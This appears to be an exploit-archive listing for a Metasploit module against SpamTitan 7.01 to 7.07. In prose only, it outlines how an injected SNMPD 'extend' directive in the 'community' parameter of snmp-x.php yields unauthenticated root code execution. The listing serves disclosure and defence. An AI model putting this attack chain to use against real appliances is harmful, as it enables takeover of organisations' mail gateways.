SpamTitan 7.07 Command Injection

SpamTitan 7.07 Command Injection
Posted Jan 5, 2021
Authored by Christophe de la Fuente, Felipe Molina | Site metasploit.com

This Metasploit module exploits an improper input sanitization in SpamTitan versions 7.01, 7.02, 7.03 and 7.07 to inject command directives into the SNMP configuration file and get remote code execution as root. Note that only version 7.03 needs authentication and no authentication is required for versions 7.01, 7.02 and 7.07.

TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against
unwanted emails and malwares. This module exploits an improper input
sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives
into the SNMP configuration file and get remote code execution as root. Note
that only version 7.03 needs authentication and no authentication is required
for versions 7.01, 7.02 and 7.07.

First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`
command directives (`extend` + command) passed to the `community` parameter.
This payload is then added to `snmpd.conf` by the application. Finally, the
module triggers the execution of this command by querying the SNMP server for
the correct OID.

This exploit module has been successfully tested against versions 7.01, 7.02,
7.03, and 7.07.
